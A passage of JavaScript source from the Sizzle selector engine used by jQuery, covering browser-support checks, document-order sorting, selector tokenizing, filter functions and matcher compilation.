disabled='disabled'><option/></select>"; // Support: Windows 8 Native Apps // The type and name attributes are restricted during .innerHTML assignment var input = document.createElement("input"); input.setAttribute( "type", "hidden" ); el.appendChild( input ).setAttribute( "name", "D" ); // Support: IE8 // Enforce case-sensitivity of name attribute if ( el.querySelectorAll("[name=d]").length ) { rbuggyQSA.push( "name" + whitespace + "*[*^$|!~]?=" ); } // FF 3.5 - :enabled/:disabled and hidden elements (hidden elements are still enabled) // IE8 throws error here and will not see later tests if ( el.querySelectorAll(":enabled").length !== 2 ) { rbuggyQSA.push( ":enabled", ":disabled" ); } // Support: IE9-11+ // IE's :disabled selector does not pick up the children of disabled fieldsets docElem.appendChild( el ).disabled = true; if ( el.querySelectorAll(":disabled").length !== 2 ) { rbuggyQSA.push( ":enabled", ":disabled" ); } // Opera 10-11 does not throw on post-comma invalid pseudos el.querySelectorAll("*,:x"); rbuggyQSA.push(",.*:"); }); } if ( (support.matchesSelector = rnative.test( (matches = docElem.matches || docElem.webkitMatchesSelector || docElem.mozMatchesSelector || docElem.oMatchesSelector || docElem.msMatchesSelector) )) ) { assert(function( el ) { // Check to see if it's possible to do matchesSelector // on a disconnected node (IE 9) support.disconnectedMatch = matches.call( el, "*" ); // This should fail with an exception // Gecko does not error, returns false instead matches.call( el, "[s!='']:x" ); rbuggyMatches.push( "!=", pseudos ); }); } rbuggyQSA = rbuggyQSA.length && new RegExp( rbuggyQSA.join("|") ); rbuggyMatches = rbuggyMatches.length && new RegExp( rbuggyMatches.join("|") ); /* Contains ---------------------------------------------------------------------- */ hasCompare = rnative.test( docElem.compareDocumentPosition ); // Element contains another // Purposefully self-exclusive // As in, an element does not contain itself contains = hasCompare || rnative.test( docElem.contains ) ? function( a, b ) { var adown = a.nodeType === 9 ? a.documentElement : a, bup = b && b.parentNode; return a === bup || !!( bup && bup.nodeType === 1 && ( adown.contains ? adown.contains( bup ) : a.compareDocumentPosition && a.compareDocumentPosition( bup ) & 16 )); } : function( a, b ) { if ( b ) { while ( (b = b.parentNode) ) { if ( b === a ) { return true; } } } return false; }; /* Sorting ---------------------------------------------------------------------- */ // Document order sorting sortOrder = hasCompare ? function( a, b ) { // Flag for duplicate removal if ( a === b ) { hasDuplicate = true; return 0; } // Sort on method existence if only one input has compareDocumentPosition var compare = !a.compareDocumentPosition - !b.compareDocumentPosition; if ( compare ) { return compare; } // Calculate position if both inputs belong to the same document compare = ( a.ownerDocument || a ) === ( b.ownerDocument || b ) ? a.compareDocumentPosition( b ) : // Otherwise we know they are disconnected 1; // Disconnected nodes if ( compare & 1 || (!support.sortDetached && b.compareDocumentPosition( a ) === compare) ) { // Choose the first element that is related to our preferred document if ( a === document || a.ownerDocument === preferredDoc && contains(preferredDoc, a) ) { return -1; } if ( b === document || b.ownerDocument === preferredDoc && contains(preferredDoc, b) ) { return 1; } // Maintain original order return sortInput ? ( indexOf( sortInput, a ) - indexOf( sortInput, b ) ) : 0; } return compare & 4 ? -1 : 1; } : function( a, b ) { // Exit early if the nodes are identical if ( a === b ) { hasDuplicate = true; return 0; } var cur, i = 0, aup = a.parentNode, bup = b.parentNode, ap = [ a ], bp = [ b ]; // Parentless nodes are either documents or disconnected if ( !aup || !bup ) { return a === document ? -1 : b === document ? 1 : aup ? -1 : bup ? 1 : sortInput ? ( indexOf( sortInput, a ) - indexOf( sortInput, b ) ) : 0; // If the nodes are siblings, we can do a quick check } else if ( aup === bup ) { return siblingCheck( a, b ); } // Otherwise we need full lists of their ancestors for comparison cur = a; while ( (cur = cur.parentNode) ) { ap.unshift( cur ); } cur = b; while ( (cur = cur.parentNode) ) { bp.unshift( cur ); } // Walk down the tree looking for a discrepancy while ( ap[i] === bp[i] ) { i++; } return i ? // Do a sibling check if the nodes have a common ancestor siblingCheck( ap[i], bp[i] ) : // Otherwise nodes in our document sort first ap[i] === preferredDoc ? -1 : bp[i] === preferredDoc ? 1 : 0; }; return document; }; Sizzle.matches = function( expr, elements ) { return Sizzle( expr, null, null, elements ); }; Sizzle.matchesSelector = function( elem, expr ) { // Set document vars if needed if ( ( elem.ownerDocument || elem ) !== document ) { setDocument( elem ); } // Make sure that attribute selectors are quoted expr = expr.replace( rattributeQuotes, "='$1']" ); if ( support.matchesSelector && documentIsHTML && !compilerCache[ expr + " " ] && ( !rbuggyMatches || !rbuggyMatches.test( expr ) ) && ( !rbuggyQSA || !rbuggyQSA.test( expr ) ) ) { try { var ret = matches.call( elem, expr ); // IE 9's matchesSelector returns false on disconnected nodes if ( ret || support.disconnectedMatch || // As well, disconnected nodes are said to be in a document // fragment in IE 9 elem.document && elem.document.nodeType !== 11 ) { return ret; } } catch (e) {} } return Sizzle( expr, document, null, [ elem ] ).length > 0; }; Sizzle.contains = function( context, elem ) { // Set document vars if needed if ( ( context.ownerDocument || context ) !== document ) { setDocument( context ); } return contains( context, elem ); }; Sizzle.attr = function( elem, name ) { // Set document vars if needed if ( ( elem.ownerDocument || elem ) !== document ) { setDocument( elem ); } var fn = Expr.attrHandle[ name.toLowerCase() ], // Don't get fooled by Object.prototype properties (jQuery #13807) val = fn && hasOwn.call( Expr.attrHandle, name.toLowerCase() ) ? fn( elem, name, !documentIsHTML ) : undefined; return val !== undefined ? val : support.attributes || !documentIsHTML ? elem.getAttribute( name ) : (val = elem.getAttributeNode(name)) && val.specified ? val.value : null; }; Sizzle.escape = function( sel ) { return (sel + "").replace( rcssescape, fcssescape ); }; Sizzle.error = function( msg ) { throw new Error( "Syntax error, unrecognized expression: " + msg ); }; /** * Document sorting and removing duplicates * @param {ArrayLike} results */ Sizzle.uniqueSort = function( results ) { var elem, duplicates = [], j = 0, i = 0; // Unless we *know* we can detect duplicates, assume their presence hasDuplicate = !support.detectDuplicates; sortInput = !support.sortStable && results.slice( 0 ); results.sort( sortOrder ); if ( hasDuplicate ) { while ( (elem = results[i++]) ) { if ( elem === results[ i ] ) { j = duplicates.push( i ); } } while ( j-- ) { results.splice( duplicates[ j ], 1 ); } } // Clear input after sorting to release objects // See https://github.com/jquery/sizzle/pull/225 sortInput = null; return results; }; /** * Utility function for retrieving the text value of an array of DOM nodes * @param {Array|Element} elem */ getText = Sizzle.getText = function( elem ) { var node, ret = "", i = 0, nodeType = elem.nodeType; if ( !nodeType ) { // If no nodeType, this is expected to be an array while ( (node = elem[i++]) ) { // Do not traverse comment nodes ret += getText( node ); } } else if ( nodeType === 1 || nodeType === 9 || nodeType === 11 ) { // Use textContent for elements // innerText usage removed for consistency of new lines (jQuery #11153) if ( typeof elem.textContent === "string" ) { return elem.textContent; } else { // Traverse its children for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) { ret += getText( elem ); } } } else if ( nodeType === 3 || nodeType === 4 ) { return elem.nodeValue; } // Do not include comment or processing instruction nodes return ret; }; Expr = Sizzle.selectors = { // Can be adjusted by the user cacheLength: 50, createPseudo: markFunction, match: matchExpr, attrHandle: {}, find: {}, relative: { ">": { dir: "parentNode", first: true }, " ": { dir: "parentNode" }, "+": { dir: "previousSibling", first: true }, "~": { dir: "previousSibling" } }, preFilter: { "ATTR": function( match ) { match[1] = match[1].replace( runescape, funescape ); // Move the given value to match[3] whether quoted or unquoted match[3] = ( match[3] || match[4] || match[5] || "" ).replace( runescape, funescape ); if ( match[2] === "~=" ) { match[3] = " " + match[3] + " "; } return match.slice( 0, 4 ); }, "CHILD": function( match ) { /* matches from matchExpr["CHILD"] 1 type (only|nth|...) 2 what (child|of-type) 3 argument (even|odd|\d*|\d*n([+-]\d+)?|...) 4 xn-component of xn+y argument ([+-]?\d*n|) 5 sign of xn-component 6 x of xn-component 7 sign of y-component 8 y of y-component */ match[1] = match[1].toLowerCase(); if ( match[1].slice( 0, 3 ) === "nth" ) { // nth-* requires argument if ( !match[3] ) { Sizzle.error( match[0] ); } // numeric x and y parameters for Expr.filter.CHILD // remember that false/true cast respectively to 0/1 match[4] = +( match[4] ? match[5] + (match[6] || 1) : 2 * ( match[3] === "even" || match[3] === "odd" ) ); match[5] = +( ( match[7] + match[8] ) || match[3] === "odd" ); // other types prohibit arguments } else if ( match[3] ) { Sizzle.error( match[0] ); } return match; }, "PSEUDO": function( match ) { var excess, unquoted = !match[6] && match[2]; if ( matchExpr["CHILD"].test( match[0] ) ) { return null; } // Accept quoted arguments as-is if ( match[3] ) { match[2] = match[4] || match[5] || ""; // Strip excess characters from unquoted arguments } else if ( unquoted && rpseudo.test( unquoted ) && // Get excess from tokenize (recursively) (excess = tokenize( unquoted, true )) && // advance to the next closing parenthesis (excess = unquoted.indexOf( ")", unquoted.length - excess ) - unquoted.length) ) { // excess is a negative index match[0] = match[0].slice( 0, excess ); match[2] = unquoted.slice( 0, excess ); } // Return only captures needed by the pseudo filter method (type and argument) return match.slice( 0, 3 ); } }, filter: { "TAG": function( nodeNameSelector ) { var nodeName = nodeNameSelector.replace( runescape, funescape ).toLowerCase(); return nodeNameSelector === "*" ? function() { return true; } : function( elem ) { return elem.nodeName && elem.nodeName.toLowerCase() === nodeName; }; }, "CLASS": function( className ) { var pattern = classCache[ className + " " ]; return pattern || (pattern = new RegExp( "(^|" + whitespace + ")" + className + "(" + whitespace + "|$)" )) && classCache( className, function( elem ) { return pattern.test( typeof elem.className === "string" && elem.className || typeof elem.getAttribute !== "undefined" && elem.getAttribute("class") || "" ); }); }, "ATTR": function( name, operator, check ) { return function( elem ) { var result = Sizzle.attr( elem, name ); if ( result == null ) { return operator === "!="; } if ( !operator ) { return true; } result += ""; return operator === "=" ? result === check : operator === "!=" ? result !== check : operator === "^=" ? check && result.indexOf( check ) === 0 : operator === "*=" ? check && result.indexOf( check ) > -1 : operator === "$=" ? check && result.slice( -check.length ) === check : operator === "~=" ? ( " " + result.replace( rwhitespace, " " ) + " " ).indexOf( check ) > -1 : operator === "|=" ? result === check || result.slice( 0, check.length + 1 ) === check + "-" : false; }; }, "CHILD": function( type, what, argument, first, last ) { var simple = type.slice( 0, 3 ) !== "nth", forward = type.slice( -4 ) !== "last", ofType = what === "of-type"; return first === 1 && last === 0 ? // Shortcut for :nth-*(n) function( elem ) { return !!elem.parentNode; } : function( elem, context, xml ) { var cache, uniqueCache, outerCache, node, nodeIndex, start, dir = simple !== forward ? "nextSibling" : "previousSibling", parent = elem.parentNode, name = ofType && elem.nodeName.toLowerCase(), useCache = !xml && !ofType, diff = false; if ( parent ) { // :(first|last|only)-(child|of-type) if ( simple ) { while ( dir ) { node = elem; while ( (node = node[ dir ]) ) { if ( ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1 ) { return false; } } // Reverse direction for :only-* (if we haven't yet done so) start = dir = type === "only" && !start && "nextSibling"; } return true; } start = [ forward ? parent.firstChild : parent.lastChild ]; // non-xml :nth-child(...) stores cache data on `parent` if ( forward && useCache ) { // Seek `elem` from a previously-cached index // ...in a gzip-friendly way node = parent; outerCache = node[ expando ] || (node[ expando ] = {}); // Support: IE <9 only // Defend against cloned attroperties (jQuery gh-1709) uniqueCache = outerCache[ node.uniqueID ] || (outerCache[ node.uniqueID ] = {}); cache = uniqueCache[ type ] || []; nodeIndex = cache[ 0 ] === dirruns && cache[ 1 ]; diff = nodeIndex && cache[ 2 ]; node = nodeIndex && parent.childNodes[ nodeIndex ]; while ( (node = ++nodeIndex && node && node[ dir ] || // Fallback to seeking `elem` from the start (diff = nodeIndex = 0) || start.pop()) ) { // When found, cache indexes on `parent` and break if ( node.nodeType === 1 && ++diff && node === elem ) { uniqueCache[ type ] = [ dirruns, nodeIndex, diff ]; break; } } } else { // Use previously-cached element index if available if ( useCache ) { // ...in a gzip-friendly way node = elem; outerCache = node[ expando ] || (node[ expando ] = {}); // Support: IE <9 only // Defend against cloned attroperties (jQuery gh-1709) uniqueCache = outerCache[ node.uniqueID ] || (outerCache[ node.uniqueID ] = {}); cache = uniqueCache[ type ] || []; nodeIndex = cache[ 0 ] === dirruns && cache[ 1 ]; diff = nodeIndex; } // xml :nth-child(...) // or :nth-last-child(...) or :nth(-last)?-of-type(...) if ( diff === false ) { // Use the same loop as above to seek `elem` from the start while ( (node = ++nodeIndex && node && node[ dir ] || (diff = nodeIndex = 0) || start.pop()) ) { if ( ( ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1 ) && ++diff ) { // Cache the index of each encountered element if ( useCache ) { outerCache = node[ expando ] || (node[ expando ] = {}); // Support: IE <9 only // Defend against cloned attroperties (jQuery gh-1709) uniqueCache = outerCache[ node.uniqueID ] || (outerCache[ node.uniqueID ] = {}); uniqueCache[ type ] = [ dirruns, diff ]; } if ( node === elem ) { break; } } } } } // Incorporate the offset, then check against cycle size diff -= last; return diff === first || ( diff % first === 0 && diff / first >= 0 ); } }; }, "PSEUDO": function( pseudo, argument ) { // pseudo-class names are case-insensitive // http://www.w3.org/TR/selectors/#pseudo-classes // Prioritize by case sensitivity in case custom pseudos are added with uppercase letters // Remember that setFilters inherits from pseudos var args, fn = Expr.pseudos[ pseudo ] || Expr.setFilters[ pseudo.toLowerCase() ] || Sizzle.error( "unsupported pseudo: " + pseudo ); // The user may use createPseudo to indicate that // arguments are needed to create the filter function // just as Sizzle does if ( fn[ expando ] ) { return fn( argument ); } // But maintain support for old signatures if ( fn.length > 1 ) { args = [ pseudo, pseudo, "", argument ]; return Expr.setFilters.hasOwnProperty( pseudo.toLowerCase() ) ? markFunction(function( seed, matches ) { var idx, matched = fn( seed, argument ), i = matched.length; while ( i-- ) { idx = indexOf( seed, matched[i] ); seed[ idx ] = !( matches[ idx ] = matched[i] ); } }) : function( elem ) { return fn( elem, 0, args ); }; } return fn; } }, pseudos: { // Potentially complex pseudos "not": markFunction(function( selector ) { // Trim the selector passed to compile // to avoid treating leading and trailing // spaces as combinators var input = [], results = [], matcher = compile( selector.replace( rtrim, "$1" ) ); return matcher[ expando ] ? markFunction(function( seed, matches, context, xml ) { var elem, unmatched = matcher( seed, null, xml, [] ), i = seed.length; // Match elements unmatched by `matcher` while ( i-- ) { if ( (elem = unmatched[i]) ) { seed[i] = !(matches[i] = elem); } } }) : function( elem, context, xml ) { input[0] = elem; matcher( input, null, xml, results ); // Don't keep the element (issue #299) input[0] = null; return !results.pop(); }; }), "has": markFunction(function( selector ) { return function( elem ) { return Sizzle( selector, elem ).length > 0; }; }), "contains": markFunction(function( text ) { text = text.replace( runescape, funescape ); return function( elem ) { return ( elem.textContent || elem.innerText || getText( elem ) ).indexOf( text ) > -1; }; }), // "Whether an element is represented by a :lang() selector // is based solely on the element's language value // being equal to the identifier C, // or beginning with the identifier C immediately followed by "-". // The matching of C against the element's language value is performed case-insensitively. // The identifier C does not have to be a valid language name." // http://www.w3.org/TR/selectors/#lang-pseudo "lang": markFunction( function( lang ) { // lang value must be a valid identifier if ( !ridentifier.test(lang || "") ) { Sizzle.error( "unsupported lang: " + lang ); } lang = lang.replace( runescape, funescape ).toLowerCase(); return function( elem ) { var elemLang; do { if ( (elemLang = documentIsHTML ? elem.lang : elem.getAttribute("xml:lang") || elem.getAttribute("lang")) ) { elemLang = elemLang.toLowerCase(); return elemLang === lang || elemLang.indexOf( lang + "-" ) === 0; } } while ( (elem = elem.parentNode) && elem.nodeType === 1 ); return false; }; }), // Miscellaneous "target": function( elem ) { var hash = window.location && window.location.hash; return hash && hash.slice( 1 ) === elem.id; }, "root": function( elem ) { return elem === docElem; }, "focus": function( elem ) { return elem === document.activeElement && (!document.hasFocus || document.hasFocus()) && !!(elem.type || elem.href || ~elem.tabIndex); }, // Boolean properties "enabled": createDisabledPseudo( false ), "disabled": createDisabledPseudo( true ), "checked": function( elem ) { // In CSS3, :checked should return both checked and selected elements // http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked var nodeName = elem.nodeName.toLowerCase(); return (nodeName === "input" && !!elem.checked) || (nodeName === "option" && !!elem.selected); }, "selected": function( elem ) { // Accessing this property makes selected-by-default // options in Safari work properly if ( elem.parentNode ) { elem.parentNode.selectedIndex; } return elem.selected === true; }, // Contents "empty": function( elem ) { // http://www.w3.org/TR/selectors/#empty-pseudo // :empty is negated by element (1) or content nodes (text: 3; cdata: 4; entity ref: 5), // but not by others (comment: 8; processing instruction: 7; etc.) // nodeType < 6 works because attributes (2) do not appear as children for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) { if ( elem.nodeType < 6 ) { return false; } } return true; }, "parent": function( elem ) { return !Expr.pseudos["empty"]( elem ); }, // Element/input types "header": function( elem ) { return rheader.test( elem.nodeName ); }, "input": function( elem ) { return rinputs.test( elem.nodeName ); }, "button": function( elem ) { var name = elem.nodeName.toLowerCase(); return name === "input" && elem.type === "button" || name === "button"; }, "text": function( elem ) { var attr; return elem.nodeName.toLowerCase() === "input" && elem.type === "text" && // Support: IE<8 // New HTML5 attribute values (e.g., "search") appear with elem.type === "text" ( (attr = elem.getAttribute("type")) == null || attr.toLowerCase() === "text" ); }, // Position-in-collection "first": createPositionalPseudo(function() { return [ 0 ]; }), "last": createPositionalPseudo(function( matchIndexes, length ) { return [ length - 1 ]; }), "eq": createPositionalPseudo(function( matchIndexes, length, argument ) { return [ argument < 0 ? argument + length : argument ]; }), "even": createPositionalPseudo(function( matchIndexes, length ) { var i = 0; for ( ; i < length; i += 2 ) { matchIndexes.push( i ); } return matchIndexes; }), "odd": createPositionalPseudo(function( matchIndexes, length ) { var i = 1; for ( ; i < length; i += 2 ) { matchIndexes.push( i ); } return matchIndexes; }), "lt": createPositionalPseudo(function( matchIndexes, length, argument ) { var i = argument < 0 ? argument + length : argument; for ( ; --i >= 0; ) { matchIndexes.push( i ); } return matchIndexes; }), "gt": createPositionalPseudo(function( matchIndexes, length, argument ) { var i = argument < 0 ? argument + length : argument; for ( ; ++i < length; ) { matchIndexes.push( i ); } return matchIndexes; }) } }; Expr.pseudos["nth"] = Expr.pseudos["eq"]; // Add button/input type pseudos for ( i in { radio: true, checkbox: true, file: true, password: true, image: true } ) { Expr.pseudos[ i ] = createInputPseudo( i ); } for ( i in { submit: true, reset: true } ) { Expr.pseudos[ i ] = createButtonPseudo( i ); } // Easy API for creating new setFilters function setFilters() {} setFilters.prototype = Expr.filters = Expr.pseudos; Expr.setFilters = new setFilters(); tokenize = Sizzle.tokenize = function( selector, parseOnly ) { var matched, match, tokens, type, soFar, groups, preFilters, cached = tokenCache[ selector + " " ]; if ( cached ) { return parseOnly ? 0 : cached.slice( 0 ); } soFar = selector; groups = []; preFilters = Expr.preFilter; while ( soFar ) { // Comma and first run if ( !matched || (match = rcomma.exec( soFar )) ) { if ( match ) { // Don't consume trailing commas as valid soFar = soFar.slice( match[0].length ) || soFar; } groups.push( (tokens = []) ); } matched = false; // Combinators if ( (match = rcombinators.exec( soFar )) ) { matched = match.shift(); tokens.push({ value: matched, // Cast descendant combinators to space type: match[0].replace( rtrim, " " ) }); soFar = soFar.slice( matched.length ); } // Filters for ( type in Expr.filter ) { if ( (match = matchExpr[ type ].exec( soFar )) && (!preFilters[ type ] || (match = preFilters[ type ]( match ))) ) { matched = match.shift(); tokens.push({ value: matched, type: type, matches: match }); soFar = soFar.slice( matched.length ); } } if ( !matched ) { break; } } // Return the length of the invalid excess // if we're just parsing // Otherwise, throw an error or return tokens return parseOnly ? soFar.length : soFar ? Sizzle.error( selector ) : // Cache the tokens tokenCache( selector, groups ).slice( 0 ); }; function toSelector( tokens ) { var i = 0, len = tokens.length, selector = ""; for ( ; i < len; i++ ) { selector += tokens[i].value; } return selector; } function addCombinator( matcher, combinator, base ) { var dir = combinator.dir, skip = combinator.next, key = skip || dir, checkNonElements = base && key === "parentNode", doneName = done++; return combinator.first ? // Check against closest ancestor/preceding element function( elem, context, xml ) { while ( (elem = elem[ dir ]) ) { if ( elem.nodeType === 1 || checkNonElements ) { return matcher( elem, context, xml ); } } } : // Check against all ancestor/preceding elements function( elem, context, xml ) { var oldCache, uniqueCache, outerCache, newCache = [ dirruns, doneName ]; // We can't set arbitrary data on XML nodes, so they don't benefit from combinator caching if ( xml ) { while ( (elem = elem[ dir ]) ) { if ( elem.nodeType === 1 || checkNonElements ) { if ( matcher( elem, context, xml ) ) { return true; } } } } else { while ( (elem = elem[ dir ]) ) { if ( elem.nodeType === 1 || checkNonElements ) { outerCache = elem[ expando ] || (elem[ expando ] = {}); // Support: IE <9 only // Defend against cloned attroperties (jQuery gh-1709) uniqueCache = outerCache[ elem.uniqueID ] || (outerCache[ elem.uniqueID ] = {}); if ( skip && skip === elem.nodeName.toLowerCase() ) { elem = elem[ dir ] || elem; } else if ( (oldCache = uniqueCache[ key ]) && oldCache[ 0 ] === dirruns && oldCache[ 1 ] === doneName ) { // Assign to newCache so results back-propagate to previous elements return (newCache[ 2 ] = oldCache[ 2 ]); } else { // Reuse newcache so results back-propagate to previous elements uniqueCache[ key ] = newCache; // A match means we're done; a fail means we have to keep checking if ( (newCache[ 2 ] = matcher( elem, context, xml )) ) { return true; } } } } } }; } function elementMatcher( matchers ) { return matchers.length > 1 ? function( elem, context, xml ) { var i = matchers.length; while ( i-- ) { if ( !matchers[i]( elem, context, xml ) ) { return false; } } return true; } : matchers[0]; } function multipleContexts( selector, contexts, results ) { var i = 0, len = contexts.length; for ( ; i < len; i++ ) { Sizzle( selector, contexts[i], results ); } return results; } function condense( unmatched, map, filter, context, xml ) { var elem, newUnmatched = [], i = 0, len = unmatched.length, mapped = map != null; for ( ; i < len; i++ ) { if ( (elem = unmatched[i]) ) { if ( !filter || filter( elem, context, xml ) ) { newUnmatched.push( elem ); if ( mapped ) { map.push( i ); } } } } return newUnmatched; } function setMatcher( preFilter, selector, matcher, postFilter, postFinder, postSelector ) { if ( postFilter && !postFilter[ expando ] ) { postFilter = setMatcher( postFilter ); } if ( postFinder && !postFinder[ expando ] ) { postFinder = setMatcher( postFinder, postSelector ); } return markFunction(function( seed, results, context, xml ) { var temp, i, elem, preMap = [], postMap = [], preexisting = results.length, // Get initial elements from seed or context elems = seed || multipleContexts( selector || "*", context.nodeType ? [ context ] : context, [] ), // Prefilter to get matcher input, preserving a map for seed-results synchronization matcherIn = preFilter && ( seed || !selector ) ? condense( elems, preMap, preFilter, context, xml ) : elems, matcherOut = matcher ? // If we have a postFinder, or filtered seed, or non-seed postFilter or preexisting results, postFinder || ( seed ? preFilter : preexisting || postFilter ) ? // ...intermediate processing is necessary [] : // ...otherwise use results directly results : matcherIn; // Find primary matches if ( matcher ) { matcher( matcherIn, matcherOut, context, xml ); } // Apply postFilter if ( postFilter ) { temp = condense( matcherOut, postMap ); postFilter( temp, [], context, xml ); // Un-match failing elements by moving them back to matcherIn i = temp.length; while ( i-- ) { if ( (elem = temp[i]) ) { matcherOut[ postMap[i] ] = !(matcherIn[ postMap[i] ] = elem); } } } if ( seed ) { if ( postFinder || preFilter ) { if ( postFinder ) { // Get the final matcherOut by condensing this intermediate into postFinder contexts temp = []; i = matcherOut.length; while ( i-- ) { if ( (elem = matcherOut[i]) ) { // Restore matcherIn since elem is not yet a final match temp.push( (matcherIn[i] = elem) ); } } postFinder( null, (matcherOut = []), temp, xml ); } // Move matched elements from seed to results to keep them synchronized i = matcherOut.length; while ( i-- ) { if ( (elem = matcherOut[i]) && (temp = postFinder ? indexOf( seed, elem ) : preMap[i]) > -1 ) { seed[temp] = !(results[temp] = elem); } } } // Add elements to results, through postFinder if defined } else { matcherOut = condense( matcherOut === results ? matcherOut.splice( preexisting, matcherOut.length ) : matcherOut ); if ( postFinder ) { postFinder( null, results, matcherOut, xml ); } else { push.apply( results, matcherOut ); } } }); } function matcherFromTokens( tokens ) { var checkContext, matcher, j, len = tokens.length, leadingRelative = Expr.relative[ tokens[0].type ], implicitRelative = leadingRelative || Expr.relative[" "], i = leadingRelative ? 1 : 0, // The foundational matcher ensures that elements are reachable from top-level context(s) matchContext = addCombinator( function( elem ) { return elem === checkContext; }, implicitRelative, true ), matchAnyContext = addCombinator( function( elem ) { return indexOf( checkContext, elem ) > -1; }, implicitRelative, true ), matchers = [ function( elem, context, xml ) { var ret = ( !leadingRelative && ( xml || context !== outermostContext ) ) || ( (checkContext = context).nodeType ? matchContext( elem, context, xml ) : matchAnyContext( elem, context, xml ) ); // Avoid hanging onto element (issue #299) checkContext = null; return ret; } ]; for ( ; i < len; i++ ) { if ( (matcher = Expr.relative[ tokens[i].type ]) ) { matchers = [ addCombinator(elementMatcher( matchers ), matcher) ]; } else { matcher = Expr.filter[ tokens[i].type ].apply( null, tokens[i].matches ); // Return special upon seeing a positional matcher if ( matcher[ expando ] ) { // Find the next relative operator (if any) for proper handling j = ++i; for ( ; j < len; j++ ) { if ( Expr.relative[ tokens[j].type ] ) { break; } } return setMatcher( i > 1 && elementMatcher( matchers ), i > 1 && toSelector( // If the preceding token was a descendant combinator, insert an implicit any-element `*` tokens.slice( 0, i - 1 ).concat({ value: tokens[ i - 2 ].type === " " ? "*" : "" }) ).replace( rtrim, "$1" ), matcher, i < j && matcherFromTokens( tokens.slice( i, j ) ), j < len && matcherFromTokens( (tokens = tokens.slice( j )) ), j < len && toSelector( tokens ) ); } matchers.push( matcher ); } } return elementMatcher( matchers ); } function matcherFromGroupMatchers( elementMatchers, setMatchers ) { var bySet = setMatchers.length > 0, byElement = elementMatchers.length > 0, superMatcher = function( seed, context, xml, results, outermost ) { var elem, j, matcher, matchedCount = 0, i = "0", unmatched = seed && [], setMatched = [], contextBackup = outermostContext, // We must always have either seed elements or outermost context elems = seed || byElement && Expr.find["TAG"]( "*", outermost ), // Use integer dirruns iff this is the outermost matcher dirrunsUnique = (dirruns += contextBackup == null ? 1 : Math.random() || 0.1), len = elems.length; if ( outermost ) { outermostContext = context === document || context || outermost; } // Add elements passing elementMatchers directly to results // Support: IE<9, Safari // Tolerate NodeList properties (IE: "length"; Safari: <number>) matching elements by id for ( ; i !== len && (elem = elems[i]) != null; i++ ) { if ( byElement && elem ) { j = 0; if ( !context && elem.ownerDocument !== document ) { setDocument( elem ); xml = !documentIsHTML; } while ( (matcher = elementMatchers[j++]) ) { if ( matcher( elem, context || document, xml) ) { results.push( elem ); break; } } if ( outermost ) { dirruns = dirrunsUnique; } } // Track unmatched elements for set filters if ( bySet ) { // They will have gone through all possible matchers if ( (elem = !matcher && elem) ) { matchedCount--; } // Lengthen the array for every element, matched or not if ( seed ) { unmatched.push( elem ); } } } // `i` is now the count of elements visited above, and adding it to `matchedCount` // makes the latter nonnegative. matchedCount += i; // Apply set filters to unmatched elements // NOTE: This can be skipped if there are no unmatched elements (i.e., `matchedCount` // equals `i`), unless we didn't visit _any_ elements in the above loop because we have // no element matchers and no seed. // Incrementing an initially-string "0" `i` allows `i` to remain a string only in that // case, which will result in a "00" `matchedCount` that differs from `i` but is also // numerically zero. if ( bySet && i !== matchedCount ) { j = 0; while ( (matcher = setMatchers[j++]) ) { matcher( unmatched, setMatched, context, xml ); } if ( seed ) { // Reintegrate element matches to eliminate the need for sorting if ( matchedCount > 0 ) { while ( i-- ) { if ( !(unmatched[i] || setMatched[i]) ) { setMatched[i] = pop.call( results ); } } } // Discard index placeholder values to get only actual matches setMatched = condense( setMatched ); } // Add matches to results push.apply( results, setMatched ); // Seedless set matches succeeding multiple successful matchers stipulate sorting if ( outermost && !seed && setMatched.length > 0 && ( matchedCount + setMatchers.length ) > 1 ) { Sizzle.uniqueSort( results ); } } // Override manipulation of globals by nested matchers if ( outermost ) { dirruns = dirrunsUnique; outermostContext = contextBackup; } return unmatched; }; return bySet ? markFunction( superMatcher ) : superMatcher; } compile = Sizzle.compile = function( selector, match /* Internal Use Only */ ) { var i, setMatchers = [], elementMatchers = [], cached = compilerCache[ selector + " " ]; if ( !cached ) { // Generate a function of recursive functions that can be used to check each element if ( !match ) { match = tokenize( selector ); } i = match.length; while ( i-- ) { cached = matcherFromTokens( match[i] ); if ( cached[ expando ] ) { setMatchers.push( cached ); } else { elementMatchers.push( cached ); } } // Cache the compiled function cached = compilerCache( selector, matcherFromGroupMatchers( elementMatchers, setMatchers ) ); // Save selector and tokenization cached.selector = selector; } return cached; }; /** * A low-level selection function that works with Sizzle's compiled * selector functions * @param {String|Function} selector A selector or a pre-compiled * selector function built with Sizzle.compile * @param {Element} context * @param {Array} [results] * @param {Array} [seed] A set of elements to match against */ select = Sizzle.select = function( selector, context, results, seed ) { var i, tokens, token, type, find, compiled = typeof selector === "function" && selector, match = !seed && tokenize( (selector = compiled.selector || selector) ); results = results || []; // Try to minimize operations if there is only one selector in the list and no seed // (the latter of which guarantees us context) if ( match.length === 1 ) { // Reduce context if the leading compound selector is an ID tokens = match[0] = match[0].slice( 0 ); if ( tokens.length > 2 && (token = tokens[0]).type === "ID" && support.getById && context.nodeType === 9 && documentIsHTML && Expr.relative[ tokens[1].type ] ) { context = ( Expr.find["ID"]( token.matches[0].replace(runescape, funescape), context ) || [] )[0]; if ( !context ) { return results; // Precompiled matchers will still verify ancestry, so step up a level } else if ( compiled ) { context = context.parentNode; } selector = selector.slice( tokens.shift().value.length ); } // Fetch a seed set for right-to-left matching i = matchExpr["needsContext"].test( selector ) ? 0 : tokens.length; while ( i-- ) { token = tokens[i]; // Abort if we hit a combinator if ( Expr.relative[ (type = token.type) ] ) { break; } if ( (find = Expr.find[ type ]) ) { // Search, expanding context for leading sibling combinators if ( (seed = find( token.matches[0].replace( runescape, funescape ), rsibling.test( tokens[0].type ) && testContext( context.parentNode ) || context )) ) { // If seed is empty or no tokens remain, we can return early tokens.splice( i, 1 ); selector = seed.length && toSelector( tokens ); if ( !selector ) { push.apply( results, seed ); return results; } break; } } } } // Compile and execute a filtering function if one is not provided // Provide `match` to avoid retokenization if we modified the selector above ( compiled || compile( selector, match ) )( seed, context, !documentIsHTML, results, !context || rsibling.test( selector ) && testContext( context.parentNode ) || context ); return results; }; // One-time assignments // Sort stability support.sortStable = expando.split("").sort( sortOrder ).join("") === expando; // Support: Chrome 14-35+ // Always assume 